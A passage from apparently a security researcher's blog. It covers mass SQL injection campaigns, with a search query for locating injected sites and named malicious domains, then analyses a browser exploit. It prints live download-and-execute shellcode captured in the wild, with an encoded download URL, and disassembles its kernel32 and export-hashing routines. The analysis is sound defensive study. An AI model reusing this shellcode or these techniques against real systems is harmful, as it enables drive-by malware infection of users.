Collecting data about the injection campaigns is not difficult. For example, most dynamic pages store their title in a textual column in a database. If the application is vulnerable to a SQL injection attack, the injected script tag will be found (also) in the title of the page. Therefore, search queries similar to:

intitle:"<script src=http"

will reveal a large number of victims of the attack. Adding additional terms to the query will return different result sets. Since Google, Yahoo, and MSN Live offer programmatic access to their search engines, it is possible to automate the data collection process.

Visualizing the data that I have collected reveals some interesting things. First, the injection campaigns are indeed massive. Here is a graph showing a small portion of the data I have. Blue circles represent domains that were victims of the attack. Orange circles represent domains that hosted the injected script, i.e., "injected domains".

Victim and injected domains in SQL injection attacks

Certain pages ended up being victim of a large number of injections. Here is a case with 29 injected script tags.

A victim of many injection attacks

Conversely, certain domains appear in a large number of injected tags. These are the super villains of the SQL injection campaigns (e.g., xprmn4u.info).

Finally, it is interesting to observe the structure of links between malicious domains. Here, orange circles are, as before, domains that appear in the injected script tags, while blue circles are "target domains", i.e., domains to which the browser is redirected to by the injected script.

For example, consider the node www.app52.com in the lower-left corner of the graph. At least a page was injected with a script tag pointing to a JavaScript script on www.app52.com. This script redirects through an iframe to a script on base48.com. Notice how certain domains (e.g., batch29.com, in the middle of the graph) are the target of many different redirections. Conversely, several injected domains (e.g., www.datajto.com) redirect to different targets. This is because the injected script contains different targets every time it is fetched.

Posted by marco in malware
0 comments

JavaScript attack - part II

June 24, 2008

Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.

Let's meet the shellcode:

var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");

It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.

First, the shellcode obtains the address of kernel32.dll. It uses the PEB-based technique first described by The Last Stage of Delirium:

  0000000E    mov eax,[fs:0x30]         ; get the PEB
  00000014    js 0x22<find_kernel32_9x>
find_kernel32_nt:
  00000016    mov eax,[eax+0xc]         ; get ptr to PEB_LDR_DATA
  00000019    mov esi,[eax+0x1c]        ; get 1st entry of InInitalizationOrderModuleList
  0000001C    lodsd
  0000001D    mov ebp,[eax+0x8]         ; get kernel32.dll base
  00000020    jmp short 0x2b
find_kernel32_9x:
  00000022    mov eax,[eax+0x34]
  00000025    lea eax,[eax+0x7c]
  00000028    mov ebp,[eax+0x3c]

Once the base address of kernel32.dll is known, it can be used to identify the address of useful functions exported in this DLL. To do so, the shellcode defines a routine, let's call it find_function, that walks the export name table of the given DLL and looks for a given function name. Instead of matching directly on the name of the function, the shellcode computes a simple hash of the name, and uses that to locate interesting functions. This is probably done to save some space and obfuscate the purposes of the code.

The find_function expects two parameters: the base address of the DLL (contained in the ebp register) and a pointer to the hash of the function to identify (in the edi register):

find_function:
  000000C4    push ecx  
  000000C5    push esi
  000000C6    mov esi,[ebp+0x3c]        ; get the PE header
  000000C9    mov esi,[esi+ebp+0x78]
  000000CD    add esi,ebp
  000000CF    push esi
  000000D0    mov esi,[esi+0x20]        ; get the export name table
  000000D3    add esi,ebp
  000000D5    xor ecx,ecx
  000000D7    dec ecx
hash_init:
  000000D8    inc ecx
  000000D9    lodsd
  000000DA    add eax,ebp
  000000DC    xor ebx,ebx               ; ebx stores the computed hash
hash_update:
  000000DE    movsx edx,byte [eax]
  000000E1    cmp dl,dh
  000000E3    jz 0xed<hash_done>
  000000E5    ror ebx,0xd
  000000E8    add ebx,edx
  000000EA    inc eax
  000000EB    jmp short 0xde<hash_update>
hash_done:
  000000ED    cmp ebx,[edi]             ; have we found the given hash?
  000000EF    jnz 0xd8<hash_init>
  000000F1    pop esi
  000000F2    mov ebx,[esi+0x24]
  000000F5    add ebx,ebp
  000000F7    mov cx,[ebx+ecx*2]
  000000FB    mov ebx,[esi+0x1c]
  000000FE    add ebx,ebp
  00000100    mov eax,[ebx+ecx*4]
  00000103    add eax,ebp
  00000105    stosd                     ; store the address in place of the hash
  00000106    pop esi
  00000107    pop ecx
  00000108    ret

The hash value is computed with simple ror and add operations. I use the following code to compute the hash of a function name:

unsigned int ror(unsigned int num, int places) {
    return (num >> places) | (num << (32 - places));
}

unsigned int get_hash(const char *name) {
    const char *ch;
    unsigned int hash = 0;

    for (ch = name; *ch; ch++) {
        hash = (ror(hash, 0xd) + *ch);
    }   

    return hash;
}

The hashes of the functions to locate are stored in a table at the end of the shellcode. With the above program and a list of all the functions in kernel32.dll (obtained from here), it is easy to indentify the name of the corresponding functions:

  0000010E      dd 0EC0E4E8Eh           ;